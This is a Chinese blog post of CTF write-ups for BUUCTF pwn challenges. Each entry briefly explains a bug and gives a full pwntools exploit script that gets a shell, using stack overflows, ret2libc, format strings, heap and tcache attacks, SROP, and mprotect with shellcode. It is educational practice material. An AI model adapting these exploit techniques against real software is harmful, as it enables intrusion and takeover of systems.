BUU PWN(一)

test_your_nc

连上即可拿到shell

rip

from pwn import *
context.log_level='debug'
#p=process('./17pwn1')
p=remote("node3.buuoj.cn","26137")
p.recvuntil("please input\n")
payload='a'*0xf+'a'*8+p64(0x401186)
p.sendline(payload)
p.recvline()
p.recvline()
p.interactive()

warmup_csaw_2016

from pwn import*
context.log_level='debug'
#p=process('./warmup_csaw_2016')
p=remote('node3.buuoj.cn','25225')
p.recvuntil('>')
payload='a'*0x40+'a'*8+p64(0x40060d)
p.sendline(payload)
p.interactive()

pwn1_sctf_2016

是一个c++程序有点难看懂,且没有栈溢出点,但是通过gdb调试发现程序将I换成了you,这样就可以溢出

from pwn import *
context.log_level="debug"
p=process('./pwn1_sctf_2016')
#p=remote("node3.buuoj.cn","25125")
p.recvuntil("Tell me something about yourself: ")
#p.recvline()
payload='I'*20+'a'*4+p32(0x08048F0D)
p.sendline(payload)
p.recvline()
p.interactive()

ciscn_2019_n_1

有关浮点数在内存中的存储

from pwn import *
context.log_level='debug'
p=process('./ciscn_2019_n_1')
payload='a'*0x2c+'\x00\x80\x34\x41'
p.recvuntil("Let's guess the number.")
p.sendline(payload)
p.recv()
p.interactive()

ciscn_2019_c_1

是一个加密程序,但是输入加密密文没有限制长度,但是加密数据好像对ROP数据没什么影响,payload正常写即可

但是程序有一点小坑

BUU PWN(一)

在执行system时没有拿到shell,关键原因在于一些高版本的libc,执行到此处rsp必须要为0x10的倍数,具体参考该文章,所以我们要在rop时加个retn来调整栈平衡http://blog.eonew.cn/archives/958

from pwn import *
context.log_level='debug'
encrypt=0x4009a0
pop_rdi=0x400c83
#p=remote("node3.buuoj.cn",'27220')
#p=process('./ciscn_2019_c_1',env={"LD_PRELOAD":"/lib64/libc-2.27.so"})

#p.interactive()
p=process('./ciscn_2019_c_1')

p.recvuntil("Input your choice!\n")
p.sendline('1')
p.recvuntil("Input your Plaintext to be encrypted\n")
payload='1'*0x50+'a'*8+p64(pop_rdi)+p64(0x602020)+p64(0x4006e0)+p64(encrypt)
p.sendline(payload)
p.recvline()
p.recvline()
puts_got=u64(p.recv(6)+'\x00\x00')
print hex(puts_got)
#libc=LibcSearcher('puts',puts_got)
#libc_base=puts_got-libc.dump('puts')
#system_addr=libc_base+libc.dump('system')
#bin_sh_addr=libc_base+libc.dump('str_bin_sh')
libc_base=puts_got-0x809c0
system_addr=libc_base+0x4f440
bin_sh_addr=libc_base+0x1b3e9a
#gdb.attach(p)
#p64(0x4006bp)
payload2='1'*0x50+'a'*8+p64(0x4006b9)+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)
p.sendline(payload2)
p.interactive()

ogeek_pwn1

程序有一处输入字符和随机数进行比较,不过比较的长度是利用strlen函数进行判断的,可以利用’\x00’进行绕过。绕过后即可触发栈溢出

from pwn import *
from LibcSearcher import *
context.log_level='debug'
#p=process('./ogeek_pwn1')
p=remote("node3.buuoj.cn","27578")
#gdb.attach(p,"b *0x0804879e")
payload='\x00'+"123456"+'\xf7'
p.sendline(payload)
p.recvuntil("Correct\n")
payload2='a'*0xe7+'a'*4+p32(0x08048548)+p32(0x08048825)+p32(0x08049FD4)
p.sendline(payload2)
puts_got=u32(p.recv(4))

libc=LibcSearcher('puts',puts_got)
libc_base=puts_got-libc.dump('puts')
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')

p.sendline(payload)
p.recvuntil("Correct\n")
payload3='a'*0xe7+'a'*4+p32(system)+'b'*4+p32(bin_sh)
p.sendline(payload3)

p.interactive()

get_started_3dsctf_2016

静态链接pwn栈溢出,由于题目问题本地能打通,远程打不通,在网上看了一下别的方法,是利用mprotect修改可读可写可执行之后执行shellcode拿到shell。

from pwn import *
context.log_level='debug'
#p=process('./get_started_3dsctf_2016')
p=remote("node3.buuoj.cn","25508")
#p.interactive()
#p.sendline('111')
#p.recvuntil("Qual a palavrinha magica? ")
#gdb.attach(p,"b *0x8048a3b")
payload='a'*0x38+p32(0x080489a0)+p32(0x80489a0)+p32(0x308cd64f)+p32(0x195719d1)
p.sendline(payload)
p.interactive()

from pwn import *
context.log_level='debug'
p=process("./get_started_3dsctf_2016")
p=remote("node3.buuoj.cn","25443")
#gdb.attach(p,"b *0x8048a3b")
payload='a'*0x38
payload+=p32(0x0806EC80)
payload+=p32(0x0804f460)
payload+=p32(0x080ec000)
payload+=p32(0x1000)
payload+=p32(7)
payload+=p32(0x0806E140)
payload+=p32(0x080ec000)
payload+=p32(0)
payload+=p32(0x080ec000)
payload+=p32(0x1000)
p.sendline(payload)
payload1=asm(shellcraft.sh())
sleep(1)
p.sendline(payload1)
p.interactive()

babyheap_0ctf_2017

程序在edit部分存在堆溢出,很容易想到利用fastninattack来getshell这题难点泄露libc基址上,由于是用calloc分配内存,每次分配内存会将内存清空。

这里首先堆溢出第0个chunk修改第一个chunk的大小,再free掉第一个chunk,这时候exp中2,3chunk也会的pre_size,size也会被清0,但是不要紧,仍然可以edit,再溢出第二个chunk,修改第三个chunk为smallbin,再将第三个chunk给删除,这样就能泄露main_arena基址,再fastbin_attack拿到shell

from pwn import *
context.log_level='debug'
#p=process('./babyheap_0ctf_2017')
p=remote("node3.buuoj.cn","28793")
def debug():
    gdb.attach(p,"b *$rebase(0xdcc)")#cf4
def add(size):
    p.recvuntil("Command: ")
    p.sendline('1')
    p.recvuntil("Size: ")
    p.sendline(str(size))
def fill(index,size,payload):
    p.recvuntil("Command: ")
    p.sendline('2')
    p.recvuntil("Index: ")
    p.sendline(str(index))
    p.recvuntil("Size: ")
    p.sendline(str(size))
    p.recvuntil("Content: ")
    p.sendline(payload)
def delete(index):
    p.recvuntil("Command: ")
    p.sendline("3")
    p.recvuntil("Index: ")
    p.sendline(str(index))
def show(index):
    p.recvuntil("Command: ")
    p.sendline("4")
    p.recvuntil("Index: ")
    p.sendline(str(index))

add(0x10)#0
add(0x10)#1
add(0x10)#2
add(0x10)#3
add(0x80)#4
add(0x10)#5 prevent unlink
add(0x60)#6
add(0x60)#7
payload='a'*0x10+p64(0)+p64(0x61)
fill(0,len(payload),payload)
delete(1)
add(0x50)
payload2='a'*0x10+p64(0)+p64(0xb1)
fill(2,len(payload2),payload2)
delete(3)
show(1)
p.recvuntil('\xb1'+'\x00'*7)
main_arena=u64(p.recv(6)+'\x00\x00')-88
malloc_hook=main_arena-0x10
print hex(malloc_hook)
fake_chunk=malloc_hook-0x13
libc_base=main_arena-0x3c4b20
payload3='a'*0x10+p64(0)+p64(0x71)+p64(fake_chunk)
delete(6)
fill(5,len(payload3),payload3)
#p.interactive()
add(0x60)#3
#debug()
add(0x60)#6
one_gadget=libc_base+0x4526a#45216 4526a 0xf1147 0xf02a4
payload4='a'*3+p64(one_gadget)
fill(6,len(payload4),payload4)
add(0x10)
#debug()
p.interactive()

第五空间决赛pwn5

格式化字符串漏洞,将随机数地址的值改写成固定值即可拿到shell

from pwn import *
#p=process('./115pwn')
#gdb.attach(p,"b* 0x80492bc")
p=remote("node3.buuoj.cn","28064")
p.recvuntil("your name:")
payload=p32(0x804c044)+'%10$n'
p.sendline(payload)
p.recvuntil("your passwd:")
p.sendline('4')
p.interactive()

not_the_same_3dsctf_2016

这题和3dsctf很相似,不过原先将flag输出到输出流,改为输出到bss段上,不过再加一段rop打印bss段上内容即可,但是老方法仍是本地打的通,远程打不通,还是用mprotect修改内存读写属性,之后写入shellcode即可

from pwn import *
context.log_level='debug'
#p=process('./not_the_same_3dsctf_2016')
p=remote("node3.buuoj.cn","29090")
#p.interactive()
#p.sendline('111')
#p.recvuntil("Qual a palavrinha magica? ")
#gdb.attach(p,"b *0x8048a00")
payload='a'*0x2d+p32(0x080489a0)+p32(0x804f0a0)+p32(0)+p32(0x80eca2d)
p.sendline(payload)
p.interactive()
from pwn import *
context.log_level='debug'
p=process("././not_the_same_3dsctf_2016")
p=remote("node3.buuoj.cn","29090")
#gdb.attach(p,"b *0x8048a3b")
payload='a'*0x2d
payload+=p32(0x0806Ed40)#mprotect
payload+=p32(0x08063b9b)#pop3
payload+=p32(0x080ec000)
payload+=p32(0x1000)
payload+=p32(7)
payload+=p32(0x0806E200)#read
payload+=p32(0x080ec000)
payload+=p32(0)
payload+=p32(0x080ec000)
payload+=p32(0x1000)
p.sendline(payload)
payload1=asm(shellcraft.sh())
sleep(1)
p.sendline(payload1)
p.interactive()

ciscn_2019_n_8

from pwn import *
context.log_level='debug'
#p=process('./ciscn_2019_n_8')
p=remote("node3.buuoj.cn","25919")
p.recvuntil("What's your name?\n")
payload='a'*0x34+p64(0x11)
p.sendline(payload)
p.interactive()

ciscn_2019_c_8

题目中利用到syscall,其中eax可以控制为0xf(rt_sigreturn),0x3b(execve)。eax为0xf可以利用srop解题

关于srop的文章:https://www.freebuf.com/articles/network/87447.html

如果利用0x3b,需要控制寄存器rdx,rsi为0,没有找到控制rdx的gadget,不过可以利用libc_csu_init来解题

from pwn import *
context.log_level='debug'
p=process('./ciscn_s_3')
context.binary='./ciscn_s_3'#借此不需指出内核架构
payload='/bin/sh\x00'+'a'*8
payload+=p64(0x40051d)
#payload+=p64(0x4004da)#RAX+0XF SYS_rt_sigreturn
#payload+=p64(0x400517)#syscall
p.sendline(payload)

stack_addr=u64(p.recv(40)[32:40])
bin_sh=stack_addr-0x138
#print hex(stack_addr)
p.recv()
sleep(1)

frame=SigreturnFrame()
frame.rax=0x3b
frame.rdi=bin_sh
frame.rip=0X400517
frame.rsi=0
frame.rdx=0
payload1='/bin/sh\x00'+'a'*8
payload1+=p64(0x4004da)#eax=0x3b
payload1+=p64(0x400517)
payload1+=str(frame)
#gdb.attach(p,"b *0x400517")
p.sendline(payload1)
p.interactive()
from pwn import *
context.log_level='debug'
p=process('./ciscn_s_3')
context.binary='./ciscn_s_3'
payload='/bin/sh\x00'+'a'*8
payload+=p64(0x40051d)
#payload+=p64(0x4004da)#RAX+0XF SYS_rt_sigreturn
#payload+=p64(0x400517)#syscall
p.sendline(payload)

stack_addr=u64(p.recv(40)[32:40])
bin_sh=stack_addr-0x138
print hex(stack_addr)
p.recv()
sleep(1)


payload1='/bin/sh\x00'+'a'*8
payload1+=p64(0x4004e9)#retn
payload1+=p64(0x40059a)#pop rbx rbp r12 -r15
payload1+=p64(0)
payload1+=p64(1)
payload1+=p64(stack_addr-0x128)
payload1+=p64(0)
payload1+=p64(0)
payload1+=p64(bin_sh)
payload1+=p64(0x400580)
payload1+='a'*56
payload1+=p64(0x4005a3)
payload1+=p64(bin_sh)
payload1+=p64(0x4004e2)
payload1+=p64(0x400517)

gdb.attach(p,"b *0x400589")
p.sendline(payload1)
p.interactive()

[HarekazeCTF2019]baby_rop

简单栈溢出

from pwn import *
#context.log_level='debug'
#p=process("./babyrop")
p=remote("node3.buuoj.cn","28259")
p.recvuntil("What's your name? ")
payload='a'*0x10+'a'*8+p64(0x400683)+p64(0x601048)+p64(0x400490)
p.sendline(payload)
p.interactive()

babyfengshui_33c3_2016

以前做的一题当时没做出来程序32位只开了栈溢出和NX保护,创建用户时,分配大小0x80的chunk存储description的地址和name的内容,之和开辟指定大小的chunk内存储description

程序有个有意思的检测堆溢出的点是判断description的地址加上长度是不是大于等于name的地址减去4.这个机制主要是利用堆块分配的连续性。

但是我们只要让分配的堆块不连续即可。

分配两个user,删除第一个user,再分配一个user(这个user的descrption大小和第一个删除的user合并的chunk大小一样)这样和name地址中间就隔着一个chunk,可以溢出中间的chunk,修改name中description地址,为free的got表地址,这样既可以泄露libc也可以修改为system

from pwn import *
from LibcSearcher import *
context.log_level='debug'
#p=process('./babyfengshui_33c3_2016')
p=remote("node3.buuoj.cn","29407")
def add(size,name,size2,text):
    p.recvuntil("Action: ")
    p.sendline('0')
    p.recvuntil("size of description: ")
    p.sendline(str(size))
    p.recvuntil("name: ")
    p.sendline(name)
    p.recvuntil("text length: ")
    p.sendline(str(size2))
    p.sendline(text)
def delete(index):
    p.recvuntil("Action: ")
    p.sendline('1')
    p.recvuntil("index: ")
    p.sendline(str(index))
def show(index):
    p.recvuntil("Action: ")
    p.sendline('2')
    p.recvuntil("index: ")
    p.sendline(str(index))
def edit(index,size,text):
    p.recvuntil("Action: ")
    p.sendline('3')
    p.recvuntil("index: ")
    p.sendline(str(index))
    p.recvuntil("text length: ")
    p.sendline(str(size))
    p.recvuntil("text: ")
    p.sendline(text)
add(0x80,'aaaa',0x10,'1111')
add(0x10,'bbbb',0x10,'2222')
delete(0)
payload='/bin/sh\x00'+'a'*0x100+'a'*4+p32(18)+'a'*0x10+'a'*4+p32(0x89)+p32(0x804b010)

add(0x108,'cccc',len(payload)+1,payload)
show(1)
p.recvuntil("description: ")
free_addr=u32(p.recv(4))
print hex(free_addr)

libc=LibcSearcher('free',free_addr)
libc_base=free_addr-libc.dump('free')
system_addr=libc_base+libc.dump('system')
edit(1,5,p32(system_addr))
delete(2)
#gdb.attach(p,"b *0x8048a70")
p.interactive()


pwn2_sctf_2016

程序自己写了一个read函数,但是read函数之中将read的大小改为无符号型触发了溢出,并且程序存在int 0x80,但是程序中没有/bin/sh,并且也没有好的gadet,还是用ret2libc吧

from pwn import *
from LibcSearcher import *
context.log_level='debug'
p=process('./pwn2_sctf_2016')
p.recvuntil("How many bytes do you want me to read? ")
p.sendline('-1')
p.recvline()
payload='a'*0x2c+'a'*4+p32(0x8048370)+p32(0x804852f)+p32(0x804a020)
p.sendline(payload)
p.recvline()
atoi_addr=u32(p.recv(4))
print hex(atoi_addr)

libc=LibcSearcher('atoi',atoi_addr)
libc_base=atoi_addr-libc.dump('atoi')
system_addr=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')

p.recvuntil("read? ")
p.sendline('-1')
p.recvline()
payload1='a'*0x2c+'a'*4+p32(system_addr)+'a'*4+p32(bin_sh)
p.sendline(payload1)


p.interactive()

ciscn_2019_ne_5

程序首先F5不了,提示错误为:call analysis failed 解决方案如下

https://blog.csdn.net/xiangshangbashaonian/article/details/82889924

程序在拷贝时触发栈溢出,并且给了system函数,但是strcpy把含有’\0’结束符的字符串复制到另一个地址空间,不好泄露栈的地址。

只能用ret2libc解题了,题目有个坑点,就是scanf读取用户输入时当他遇到’\x00’ ‘\x0b’ ‘\x0a’ '\x20’就不继续向下读取了 一开始想泄露puts的got表地址但是因为puts的got表地址为0x804a020,导致无法读取到栈中。

from pwn import *
from LibcSearcher import *
context.log_level='debug'
#p=process('./ciscn_2019_ne_5')
p=remote("node3.buuoj.cn","28605")
p.recvuntil("password:")
p.sendline("administrator")
def add(log):
    p.recvuntil("0.Exit\n:")
    p.sendline('1')
    p.recvuntil("Please input new log info:")
    p.sendline(log)
def display():
    p.recvuntil("0.Exit\n:")
    p.sendline('2')
def getflag():
    p.recvuntil("0.Exit\n:")
    p.sendline("4")
    
payload='a'*0x48+'a'*0x4+p32(0x080484c0)+p32(0x08048722)+p32(0x0804a014)
#gdb.attach(p,'b *0x08048667')
add(payload)
#gdb.attach(p,'b *0x080486fc')
getflag()
p.recvuntil('\x14\xa0\x04\x08\x0a')
printf_addr=u32(p.recv(4))
libc=LibcSearcher('printf',printf_addr)
libc_base=printf_addr-libc.dump('printf')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')

p.recvuntil("password:")
p.sendline('administrator')
payload='a'*0x48+'a'*0x4+p32(0x080484d0)+'a'*4+p32(bin_sh_addr)
#gdb.attach(p,"b *0x08048667")
add(payload)
#gdb.attach(p,"b *0x080486c7")
getflag()


#gdb.attach(p,'b *0x0804868e')
p.interactive()


[HarekazeCTF2019]baby_rop2

ret2libc,起初在本地想泄露printf的地址,但是printf地址最后一位为’\x00’所以无法打印。

from pwn import *
from LibcSearcher import *
#context.log_level='debug'
#p=process('./babyrop2')
p=remote("node3.buuoj.cn","26255")
p.recvuntil("What's your name? ")
payload='a'*0x20+'a'*8+p64(0x400733)+p64(0x601020)+p64(0x4004f0)+p64(0x400636)
#gdb.attach(p,"b *0x4006cb")
p.sendline(payload)
p.recvline()
read_addr=u64(p.recv(6)+'\x00\x00')
print hex(read_addr)
libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')
p.recvuntil("What's your name? ")
payload1='a'*0x20+'a'*0x8+p64(0x400733)+p64(bin_sh_addr)+p64(system_addr)
p.sendline(payload1)
p.interactive()

ez_pz_hackover_2016

泄露了栈地址,且没开NX在栈上写shellcode即可

from pwn import *
context.log_level='debug'
p=remote("node3.buuoj.cn","25625")
#p=process('./ez_pz_hackover_2016')
p.recvuntil("Yippie, lets crash: 0x")
stack_addr=int(p.recv(8),16)
print hex(stack_addr)
p.recvuntil("> ")
shellcode=asm(shellcraft.sh())
payload="crashme\x00"+'a'*18+p32(stack_addr-0x1c)+shellcode
#gdb.attach(p,"b *0x80485f8")
p.sendline(payload)

p.interactive()


ciscn_final_3

题目的环境是ubantu18,其中的libc用到了2.27,堆区利用到了tache机制,这个机制的安全性还是很薄弱的几乎没有任何的检查,放入tache时除了fd有所变化其他无变化

例如:

  • 一个chunk free到tache中还可以再free,可以将一个chunk连续free两次改写fd,利用此进行类似fastbinattack的攻击
  • 从tache中取出的chunk没有位置的检查,可以实现任意地址写。

本体程序虽然保护全开,但是程序存在着致命的漏洞点在于free后的指针没有清空,且告诉了我们堆区地址。这样我们可以在堆区实现任意写,但是难点在于泄露libc地址,程序没有打印堆区内容的功能。而且程序分配的堆区大小限制了0x78以下的大小

不过既然堆区可以任意写,可以修改一个chunk的size大于0x421,这样free的chunk就进入了unsortedbin,,此时我们再修改回小于tache最大值的大小,这样我们再将其串回tache中,可以地址分配到main_arena中,就可以泄露libc地址

之后再free_hook上写上system地址即可

from pwn import *
context.log_level='debug'
#context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
#p=process('./ciscn_final_3') 
p=remote("node3.buuoj.cn","27463")
def add(index,size,payload):
    p.recvuntil("choice > ")
    p.sendline('1')
    p.recvline()
    p.sendline(str(index))
    p.recvline()
    p.sendline(str(size))
    p.recvline()
    p.send(payload)
def remove(index):
    p.recvuntil("choice > ")
    p.sendline("2")
    p.recvline()
    p.sendline(str(index))
add(0,0x10,'000')
p.recvuntil("gift :0x")
heap_addr=int(p.recv(12),16)
print "chunk_addr"+hex(heap_addr)
add(1,0x10,'111')
remove(1)
remove(1)

add(2,0x10,p64(heap_addr-0x8))
add(3,0x10,p64(heap_addr-0x8))
add(4,0x10,'\x21\x04')#edit chunk_size
for i in range(7):
    add(5+i,0x70,'1111')
add(12,0x50,'1111')
add(13,0x70,'1111')#prevent unlink

remove(0)
remove(5)
remove(5)
add(14,0x70,p64(heap_addr-0x8))
add(15,0x70,p64(heap_addr-0x8))
add(16,0x70,'\x41\x00')#edit chunk_size

add(17,0x40,'1111')#leak libc
remove(17)
remove(17)
add(18,0x40,p64(heap_addr))
add(19,0x40,p64(heap_addr))
add(20,0x40,'\x00')
add(21,0x40,'\x00')
p.recvuntil("gift :0x")
main_arena=int(p.recv(12),16)-144
print hex(main_arena)
#libc=main_arena-0x3b4c40
libc=main_arena-0x3ebc40
free_hook=libc+0x3ed8e8
system_addr=libc+0x4f440
remove(12)
remove(12)
add(22,0x50,p64(free_hook))
add(23,0x50,'/bin/sh\x00')
add(24,0x50,p64(system_addr))
remove(23)
#sleep(1)
#gdb.attach(p)

p.interactive()




BUU PWN(一)BUU PWN(一) playmak3r 发布了49 篇原创文章 · 获赞 14 · 访问量 6870 私信 关注
上一篇:【COCOS2DX-LUA 脚本开发之四】使用tolua++编译pk创建自定义类


下一篇:Angular compiler报的一个错误消息:Component XX is not part of any NgModule